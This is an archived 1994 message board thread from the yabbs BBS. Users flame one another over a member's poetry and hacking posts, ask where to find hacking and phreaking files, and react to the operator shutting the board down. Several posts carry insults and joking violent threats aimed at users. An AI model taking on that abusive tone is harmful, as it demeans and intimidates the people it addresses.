From dmonger@yabbs Fri Aug 19 22:36:30 1994
From: dmonger@yabbs
To: brael@yabbs
Subject: re: stupid idiot bitch.
Date: Fri Aug 19 22:36:30 1994
When was the labotomy?
-peter
From Skywise@yabbs Sat Aug 20 00:22:17 1994
From: Skywise@yabbs
To: brael@yabbs
Subject: re: stupid idiot bitch.
Date: Sat Aug 20 00:22:17 1994
Good evening! I'm accepting new applications for the I Wanna Mutilate
Brael's Pee Wee Mind Shelter With An Apple Corer Club
Unfortunately...I have a disk quota...so just give me your names, and I'll
mail you your I Wanna Mutilate Brael's Pee Wee Mind Shelter With An Apple
Corer tee-shirts within 8-10 weeks. They DO cost $4.95 but they have a
groovy picture on them.
I think this is the longest message I've ever written...
From iggy@yabbs Sat Aug 20 00:38:06 1994
From: iggy@yabbs
To: brael@yabbs
Subject: re: stupid idiot bitch.
Date: Sat Aug 20 00:38:06 1994
Whoa dude. you may have gripe here, but leave the slapping around shit at
the door. Resorting to tough guy threats on a BBS is really rather
pathetic.
From iggy@yabbs Sat Aug 20 00:41:46 1994
From: iggy@yabbs
To: Natalie@yabbs
Subject: re: read 'em and weep
Date: Sat Aug 20 00:41:46 1994
OK, cool poem.
Now just imagine if you hook up with a coder and design a language that
was functional and poetic. Or at least some functional program that was
poetic. . . just a thought.
iggy
- the explorer
From brael@yabbs Sat Aug 20 08:54:51 1994
From: brael@yabbs
To: all@yabbs
Subject: re: stupid idiot bitch.
Date: Sat Aug 20 08:54:51 1994
the slapping around is not to be taken seriously..just a figure of
speech.
my apologizes fly to everyone.. I saw a #hack message base. hacking
interests me. I wanted to learn but when I ask a question I get ragged
for my grammar (WotsISC) I wanted to teach but I get bitched out for
shitty satire when the point is some intro-phreaking tips. I post
sensitive
material in slang because it acts as camoflauge against hard-nose bastards
out to bust hackers in a Clifford Stolesque fashion and people don't take
you seriously. would be narcs pass over you.. Fuck, i even sneaked a DMS
default account in one last post that someone paid me bank to find out.
whatever..my last post. have good lives all and i'll be the first to buy
one of your little t-shirts skYw1Ze.. later.
brael
From Justbob@yabbs Sat Aug 20 09:07:50 1994
From: Justbob@yabbs
To: all@yabbs
Subject: re: stupid idiot bitch.
Date: Sat Aug 20 09:07:50 1994
Is it me or has this base gone downhill?
From cortex@yabbs Sat Aug 20 14:39:49 1994
From: cortex@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Sat Aug 20 14:39:49 1994
i thought it was too true, funny though
From cortex@yabbs Sat Aug 20 14:42:12 1994
From: cortex@yabbs
To: Natalie@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Sat Aug 20 14:42:12 1994
how come it always(well almost always) turns out that the more educated
people get, the more they believe that they know all and dont have to shut
there damn mouth for anything?
From cortex@yabbs Sat Aug 20 14:46:32 1994
From: cortex@yabbs
To: Natalie@yabbs
Subject: re: read 'em and weep
Date: Sat Aug 20 14:46:32 1994
how come you wont let anybody question your talent? most people while not
like ing criticizm, accept it because it can point out flaws, that need
work. and is your ego so big that you think you are some sort of super
writer? personaly i found the poems pointless
From ButtrBoy@yabbs Sat Aug 20 16:05:19 1994
From: ButtrBoy@yabbs
To: all@yabbs
Subject: re: read 'em and weep
Date: Sat Aug 20 16:05:19 1994
whew! this is too much!
too many misunderstandings, too much bickering.
i kinda liked brael, myself.
and i kinda like cosmos, too. just 'cos someone's got the
know-how to show how don't mean they got a bad attitude too,
y'know, even if it comes off that way.
I talked to Cosmos b4 on the talk thang, and he knows what's
up, in regards to os's and un*xes and shit. Me imma setup a
MacBSD 40-meg partition on my old machine, i was wondering
how much i should use for swap, i got 230 megs. The first
non-beta version of it was released by the alice people
a few weeks ago...any suggestions?
Also, anyone know anything about pagers? My phrend just
gave me one, and i dunno if it's hot or what, or how to
set up service for it.
oh--p.s. i have a new zine out, Samizdat, and it will kick
your ass. MRR and Factsheet 5 will review it this month,
if you wanna wait for that, but otherwise you can send a
message to me and i'll give you my address and all.
trades cool too.
buttrboy@cyberspace.org
.
.
From scudder@yabbs Sat Aug 20 20:16:59 1994
From: scudder@yabbs
To: all@yabbs
Subject: re: read 'em and weep
Date: Sat Aug 20 20:16:59 1994
Well folks we should be proud. We've achieved the level of intelligence
that the IRC channel of this name posesses.
From htoaster@yabbs Sat Aug 20 22:58:15 1994
From: htoaster@yabbs
To: scudder@yabbs
Subject: re: read 'em and weep
Date: Sat Aug 20 22:58:15 1994
In message re: read 'em and weep, scudder said:
> Well folks we should be proud. We've achieved the level of intelligence
> that the IRC channel of this name posesses.
went under it i think...i just had 30 messages to read here with none of
them saying anything useful...
and people wonder why i want to take yabbs offline...
alex
From Natalie@yabbs Sun Aug 21 00:04:00 1994
From: Natalie@yabbs
To: cortex@yabbs
Subject: re: I wanna b a ubercrackerjack
Date: Sun Aug 21 00:04:00 1994
cause i know everything, that's why.
natalie
From Natalie@yabbs Sun Aug 21 00:06:09 1994
From: Natalie@yabbs
To: cortex@yabbs
Subject: re: read 'em and weep
Date: Sun Aug 21 00:06:09 1994
oh duh. i love constructive criticism. but i don't like being told that
my work completely sucks and i have no right in the world being a writer.
i've been told that before, and i don't like it. and if i want to
succeed, i have to believe in my work, and one way to do that is to not
let anyone denigrate what talent (big or small) i may have. and you're
entitled to your opinion of my poetry. i didn't write them to make a
point tho. i wrote them to express what i was feeling at the time, and i
think they do that quite well.
natalie
From Natalie@yabbs Sun Aug 21 00:07:13 1994
From: Natalie@yabbs
To: htoaster@yabbs
Subject: re: read 'em and weep
Date: Sun Aug 21 00:07:13 1994
sorry alex, but i had to defend myself...i just can't ignore being told
i'm stupid and worthless and deserve to be slapped around.
natalie
From htoaster@yabbs Sun Aug 21 16:09:49 1994
From: htoaster@yabbs
To: Natalie@yabbs
Subject: re: read 'em and weep
Date: Sun Aug 21 16:09:49 1994
In message re: read 'em and weep, Natalie said:
> sorry alex, but i had to defend myself...i just can't ignore being told
> i'm stupid and worthless and deserve to be slapped around.
oh, most of these people just want everyone to respond, cause they have fun
pissing people off, and if you respond then it shows that they did their job...
it doesn't matter anyway, i think the future of yabbs is pretty dim...maybe
coming down this fall...
alex
From Natalie@yabbs Sun Aug 21 20:24:15 1994
From: Natalie@yabbs
To: htoaster@yabbs
Subject: re: read 'em and weep
Date: Sun Aug 21 20:24:15 1994
oh, don't kill yabbs, alex...
natalie
From bart@yabbs Sun Aug 21 21:49:48 1994
From: bart@yabbs
To: Optimus@yabbs
Subject: re: New
Date: Sun Aug 21 21:49:48 1994
..some mindless banter about hacking freaking etc..
dude...yer setting yourself up for some major flaming and
ragging..bbetter not to ask but explore!
bart
From Justbob@yabbs Mon Aug 22 03:29:29 1994
From: Justbob@yabbs
To: htoaster@yabbs
Subject: re: read 'em and weep
Date: Mon Aug 22 03:29:29 1994
I agree w/Natalie.
I would miss the UNIX base where it's at least possible to get some
intelligent answers (and without being flamed too)
From agent-0@yabbs Mon Aug 22 03:44:51 1994
From: agent-0@yabbs
To: all@yabbs
Subject: gee...
Date: Mon Aug 22 03:44:51 1994
Gee, going back about 20 messages makes me kinda sad, I missed all the
exciting stuff...*grin* geez...
a/o
From htoaster@yabbs Mon Aug 22 06:24:05 1994
From: htoaster@yabbs
To: Justbob@yabbs
Subject: re: read 'em and weep
Date: Mon Aug 22 06:24:05 1994
In message re: read 'em and weep, Justbob said:
> I agree w/Natalie.
> I would miss the UNIX base where it's at least possible to get some
> intelligent answers (and without being flamed too)
well, if anyone else wants to run yabbs and has a free internet connection
they are free to...i really just don't have the time for it anymore...it
shouldn't take a lot of time, but the truth is that it does...
alex
From JackY@yabbs Mon Aug 22 10:50:43 1994
From: JackY@yabbs
To: all@yabbs
Subject: yabbs
Date: Mon Aug 22 10:50:43 1994
Hey, after reading some previous messages here, I get the impression
that htoaster is considering shutting down yabbs. I recommend 2
courses of action:
No. 1: We all tell him how much we love yabbs so that peer pressure
forces him to keep it up, at least long enuff for
No. 2: Someone else to download the yabbs software and set up another
similar bbs.
From cosmos@yabbs Mon Aug 22 12:35:30 1994
From: cosmos@yabbs
To: JackY@yabbs
Subject: re: yabbs
Date: Mon Aug 22 12:35:30 1994
Answer to #1:
Peer pressure or no peer pressure, it is his show. I for one know that if
it was my show and I had the headaches he has to deal with due to it, that
I would have brought the bastard down long time ago or made it a private
system. Personally, I could give a rats ass what everyone else thought,
my system, my time, my money then you dont factor in to the decision.
Then again, I am a bit more callous than Alex...
Answer to #2
Its a small minority that have their own REAL 24/7 direct connect to the
internet. You need a fairly large machine to handle the load and the know
how and patience to run it. It's not gonna happen kids.
Cosmos
From Justbob@yabbs Mon Aug 22 12:36:25 1994
From: Justbob@yabbs
To: htoaster@yabbs
Subject: re: read 'em and weep
Date: Mon Aug 22 12:36:25 1994
----
well, if anyone else wants to run yabbs and has a free internet connection
they are free to...i really just don't have the time for it anymore...it
shouldn't take a lot of time, but the truth is that it does...
----
I would love to, but somehow, i don't imagine that the highschool would
take kindly to the types of discussions taking place on yabbs ;)
[Altho, sometime...hopefully during the first semester...I will be putting
up a bbs, subdued & sucky as it may be]
From Justbob@yabbs Mon Aug 22 12:40:11 1994
From: Justbob@yabbs
To: htoaster@yabbs
Subject: re: yabbs
Date: Mon Aug 22 12:40:11 1994
Hrmmm...last message seems to have gotten hosed as cosmos was entering at
the ame time [is the message file flocked/lockfed when someone is
entering?]
---
well, if anyone else wants to run yabbs and has a free internet connection
they are free to...i really just don't have the time for it anymore...it
shouldn't take a lot of time, but the truth is that it does...
---
I would love to, but i don't think the highschool would take kindly to the
types of discussions taking place on yabbs :/
[however, i will, hopefully withinh the first semester, be setting up a
bbs, limited & controlled tho it may be]
From balistic@yabbs Mon Aug 22 13:35:25 1994
From: balistic@yabbs
To: htoaster@yabbs
Subject: re: yabbs
Date: Mon Aug 22 13:35:25 1994
Alex, I realize that you can do whatever you want with this system, but
please don't shut it down. When I first logged on here I figured this was
going to be another lame, poorly-constructed, semi-illiterate IRC-type
place. But after I explored YABBS this was obviosly not the case. I feel
YABBS is hands-down THE best bbs I have ever used. Most of the ppl I know
and correspond with are on YABBS. I don't want to sound like I'm kissing
butt here, but it's true, please don't take YABBS away so suddenly.....
balistic the depressed
From JackY@yabbs Mon Aug 22 15:53:43 1994
From: JackY@yabbs
To: cosmos@yabbs
Subject: <no title>
Date: Mon Aug 22 15:53:43 1994
cosmos,
Actually, I agree with most of what you said.
(especially the part about being more callous than Alex) ;-)
But don't be such a pessimest! Shit, I would have a shot at running
the goddamn thing if I could, and I have only the foggiest idea how.
There's gotta be some yabber out there with direct access and a machine
that can do this. From what I've heard, yabbs is run on a 486. Thats
not exactly a prohibitive hardware requirement.
JackY
From cosmos@yabbs Mon Aug 22 16:51:42 1994
From: cosmos@yabbs
To: JackY@yabbs
Subject: re: <no title>
Date: Mon Aug 22 16:51:42 1994
Lets get real, kid. Pessimistic as I may be, you don't seem to understand
what it takes in time and cost to run something like this. First, you
need a direct connection to the internet 24/7. SLIP/PPP aint gonna cut
it. Second, you need to spend a good deal of manhours in maintaining
it...I dont care what you say or think, this is true. Third, yes it is
run on a 486. The machine also has about 20 megs ram, and could use some
more at peak points. The average ram size in a 486 is 4 megs. A good
deal have 8, its still not terribly cheap these days.
Bottom line...its going to take quite a while to find someone that meets
ALL of the above MINIMUM requirements and that will do it. I sure as hell
wouldnt...or at most would make it a closed system.
Cosmos
From htoaster@yabbs Mon Aug 22 17:33:38 1994
From: htoaster@yabbs
To: JackY@yabbs
Subject: re: yabbs
Date: Mon Aug 22 17:33:38 1994
In message yabbs, JackY said:
> Hey, after reading some previous messages here, I get the impression
> that htoaster is considering shutting down yabbs. I recommend 2
> courses of action:
this is true...
> No. 1: We all tell him how much we love yabbs so that peer pressure
> forces him to keep it up, at least long enuff for
this won't work, i just don't have the time or interest to keep it up
anymore...it just isn't fun for me anymore (and hasn't been for a while)...
> No. 2: Someone else to download the yabbs software and set up another
> similar bbs.
they can have the data files, etc, for this one if they want...
alex
From htoaster@yabbs Mon Aug 22 17:36:15 1994
From: htoaster@yabbs
To: cosmos@yabbs
Subject: re: <no title>
Date: Mon Aug 22 17:36:15 1994
okay, heres the deal on yabbs hardware...
it should be run on a 486sx/25 or better...16 megs of ram is pretty much
the least you would want (it would run in 8, just swap quite a bit more)...
maybe 250 megs disk or so minimum...
the hard part is a high speed link to the net...by high speed i mean t-1
speeds or better...56k, isdn, slip/ppp, or whatever you have run to your
house just won't cut all of the interactive traffic...you think to the
lag is bad now? :)
alex
From Natalie@yabbs Mon Aug 22 22:29:29 1994
From: Natalie@yabbs
To: htoaster@yabbs
Subject: re: yabbs
Date: Mon Aug 22 22:29:29 1994
i understand where you're coming from, alex. if i was doing something
that wasn't fun anymore and i had the option to stop doing it, i would
too. and this gives me a good reason to stop sitting at the computer for
way too long getting absolutely nothing accomplished. now i can get back
to my book.
it's been fun...
natalie
From taegu@yabbs Mon Aug 22 22:57:05 1994
From: taegu@yabbs
To: htoaster@yabbs
Subject: re: yabbs
Date: Mon Aug 22 22:57:05 1994
Alex,
I just wanted to say thank-you for giving me the oppertunity to meet all
the wonderful people that I have met on yabbs. I have made many friends
that i would have otherwise had never known. Thank you for all the time
and effort you have put into this bbs. I will surely miss it when its
gone, but, I understand why you have the need to quit supporting it.
Thanks again!
Kevin
From Justbob@yabbs Tue Aug 23 00:25:03 1994
From: Justbob@yabbs
To: htoaster@yabbs
Subject: re: yabbs
Date: Tue Aug 23 00:25:03 1994
Hrmm....'t appears i have posted away from everyone else's goodbyes...in
that case, see Yabbs Bugs
s
From Famine@yabbs Tue Aug 23 06:32:54 1994
From: Famine@yabbs
To: htoaster@yabbs
Subject: Yabbs RIP
Date: Tue Aug 23 06:32:54 1994
Well the end of yabbs is near, all I have to say is thanks htoaster, although
I haven't been using yabbs that long it was good whilst it lasted. I am sorry
that you felt you had to close it down, but am grateful that you started it
and have spend so much time and effort in its running.
Famine.
From Jazzy@yabbs Tue Aug 23 09:12:40 1994
From: Jazzy@yabbs
To: all@yabbs
Subject: read /i roth
Date: Tue Aug 23 09:12:40 1994
From Justbob@yabbs Wed Aug 24 12:39:40 1994
From: Justbob@yabbs
To: Jazzy@yabbs
Subject: re: read /i roth
Date: Wed Aug 24 12:39:40 1994
Woah...deja vu...I coulda sworn i just saw the same thing in Bugs...
From Typhon@yabbs Thu Aug 25 12:01:41 1994
From: Typhon@yabbs
To: htoaster@yabbs
Subject: Lateration
Date: Thu Aug 25 12:01:41 1994
I haven't really been here all that long, have I? It feels like forever. I
really enjoyed YABBS (There were god damned WEEKS this summer where this
was all I got up for) and I'll miss it. You gave me a chance to get some
stuff out of my sould and explore sides of myself I never get to see, and
to ACTUALLY INETRACT WITH PEOPLE! Thanks, man. I'm sorry it hasn't been
fun for you...it was a blast for me.
Matthew Rossi
mr.9767@acc.rwu.edu
ps: Now that I think about it, between you and me we kept that whole
meat/vegitarian thing rolling almost all summer, didn't we? And tehreason
I didn't send this email is because everybody should know how cool you've
been.
From icebox@yabbs Thu Aug 25 20:10:02 1994
From: icebox@yabbs
To: Natalie@yabbs
Subject: re: yabbs
Date: Thu Aug 25 20:10:02 1994
Don't be so certai. I haven't read previous messages, but your board has
given me the ability to express a lot (comin' from up here, you know).
I will be willing to prove that something can be accomplish if tested.
I've
met the first task with excellent remarks. Check the boards.
That's progress.
God Bless the United States of America(s)!
Your buddy,
icebox ---- > Numero Uno, no Dos!
From johndeer@yabbs Sat Aug 27 11:07:09 1994
From: johndeer@yabbs
To: cosmos@yabbs
Subject: re: yabbs
Date: Sat Aug 27 11:07:09 1994
well I've got a (max) 10mbps connection, 20mb ram, a bit of HD space, but
i'm running OS/2 and I don't even have TCP/IP native drivers for OS/2..
hmm.. i kinda doubt porting yabbs to OS/2 will be an easy feat...
john Deere
From Optimus@yabbs Sun Aug 28 22:55:57 1994
From: Optimus@yabbs
To: all@yabbs
Subject: FILES!!!
Date: Sun Aug 28 22:55:57 1994
Could someone tell me where I can get some reading material and programs
for an ibm compatible about hacking, phreaking, anarchy, ect... (via
telnet, ftp, ANTHING!!)
From brael@yabbs Mon Aug 29 03:23:03 1994
From: brael@yabbs
To: Optimus@yabbs
Subject: re: FILES!!!
Date: Mon Aug 29 03:23:03 1994
go read alt.2600
-brael.
From balistic@yabbs Mon Aug 29 12:58:54 1994
From: balistic@yabbs
To: htoaster@yabbs
Subject: this is not a complaint
Date: Mon Aug 29 12:58:54 1994
Would having us yabbernauts pay to use this system make it worthwhile
to run? I'd certainly be willing to pay a modest sum to get access. I
realize it would still take a lot of time for you to run but at least
you'd get some compensation......
From balistic@yabbs Mon Aug 29 13:03:50 1994
From: balistic@yabbs
To: all@yabbs
Subject: death
Date: Mon Aug 29 13:03:50 1994
Just like to say that everybody here at YABBS has made the 4 months I
had using it great. Is there life after YABBS? :)
looks like we'll be stuck with IRC for ahwhile huh :)
later,
balistic the newbie :)
(this ASCII may not come thru right but...)
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"HERE'S LOOKIN AT YOU, KID" :)
From balistic@yabbs Mon Aug 29 13:09:01 1994
From: balistic@yabbs
To: balistic@yabbs
Subject: re: this is not a complaint
Date: Mon Aug 29 13:09:01 1994
disregard that message...forgot to delete it :)
From balistic@yabbs Mon Aug 29 13:10:07 1994
From: balistic@yabbs
To: balistic@yabbs
Subject: re: this is not a complaint
Date: Mon Aug 29 13:10:07 1994
not the last one but the one about a pay system :)
From Justbob@yabbs Mon Aug 29 14:04:29 1994
From: Justbob@yabbs
To: Optimus@yabbs
Subject: re: FILES!!
Date: Mon Aug 29 14:04:29 1994
Read security newsgroups for starters.
You could read alt.2600, but you wouldn't_learn_ the stuff.
You'd have it memorized, but you wouldn't know _how_ it works
From htoaster@yabbs Mon Aug 29 14:56:12 1994
From: htoaster@yabbs
To: balistic@yabbs
Subject: re: this is not a complaint
Date: Mon Aug 29 14:56:12 1994
In message this is not a complaint, balistic said:
> Would having us yabbernauts pay to use this system make it worthwhile
> to run? I'd certainly be willing to pay a modest sum to get access. I
> realize it would still take a lot of time for you to run but at least
> you'd get some compensation......
not really. i'm not interested in money at this point in my life (never
really am to tell you the truth)...I really would like to see the system
run somewhere, just not here...I'd even like to be able to use some of
my free time to make the software better, but I can't do that when I spend
my free time worrying about other stuff...
alex
From pnovak@yabbs Mon Aug 29 17:52:50 1994
From: pnovak@yabbs
To: all@yabbs
Subject: re: this is not a complaint
Date: Mon Aug 29 17:52:50 1994
Ht's been clearspoken. It's not a maer of sums, it's a matter
of annoyance.
pno sugests solutions, which he can unfortunately notprovide due to
ignorance.
Maybe others...
...
From pnovak@yabbs Mon Aug 29 17:56:10 1994
From: pnovak@yabbs
To: all@yabbs
Subject: re: this is not a complaint
Date: Mon Aug 29 17:56:10 1994
excuse typos...
From iggy@yabbs Mon Aug 29 23:18:18 1994
From: iggy@yabbs
To: Optimus@yabbs
Subject: re: FILES!!!
Date: Mon Aug 29 23:18:18 1994
If you are really, really, REALLY serious about hacking, then start with
your local library. Consume everything on computers.
If you want to just piss around then try Brinta 145.24.149.50, isca ftp at
isca.uiowa.edu. There's some interesting stuff there.
From iggy@yabbs Mon Aug 29 23:22:50 1994
From: iggy@yabbs
To: htoaster@yabbs
Subject: ciao
Date: Mon Aug 29 23:22:50 1994
Oh, like this is the board for it *shrug* oh well.
It may be necessary, but I still don't this board disappearing. I'm not
whining, it's meant as an expression of thanx. I've only been on here for
a couple of weeks and was finally beginning to feel at home (almost) and
now it's going. Shit happens I guess.
If there are other BBS's out there that has the character of this one, I'd
sure like to know their addresses.
ciao
From Optimus@yabbs Mon Aug 29 23:43:30 1994
From: Optimus@yabbs
To: iggy@yabbs
Subject: re: FILES!!!
Date: Mon Aug 29 23:43:30 1994
Thanks for the information!! Is their anymore out their??
From Death@yabbs Tue Aug 30 03:46:14 1994
From: Death@yabbs
To: all@yabbs
Subject: Yabbs!
Date: Tue Aug 30 03:46:14 1994
Ummm... Yabbs is almost definitely staying up... read post 1505 in Social
Misfits for the info (I don't want to type it again :)
But Yabbs WILL LIVE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
--Les
(Who is feeling very optimistic on this lovely tuesday morning :)
From balistic@yabbs Tue Aug 30 17:04:43 1994
From: balistic@yabbs
To: htoaster@yabbs
Subject: re: this is not a complaint
Date: Tue Aug 30 17:04:43 1994
I understand.....although it's kind of hard for me to contemplait not
wanting money (I'm a teenager don't ya know :))
Till the next incarnation of yabbs,
Brian
From balistic@yabbs Tue Aug 30 17:06:33 1994
From: balistic@yabbs
To: Death@yabbs
Subject: re: Yabbs!
Date: Tue Aug 30 17:06:33 1994
Hey death...gimme the telnet address and I'm there :)
balistic
From Death@yabbs Wed Aug 31 00:54:06 1994
From: Death@yabbs
To: balistic@yabbs
Subject: re: Yabbs!
Date: Wed Aug 31 00:54:06 1994
As soon as I know what it'll be, I'll tell htoaster so he can post it on
phred (and if I know before Yabbs goes down, I'll post it here myself :)
It'll most likely be yabbs.<something>.cc.cmu.edu I'll fill in the
something soon...
--Les
(Who is going to KILL his freind...)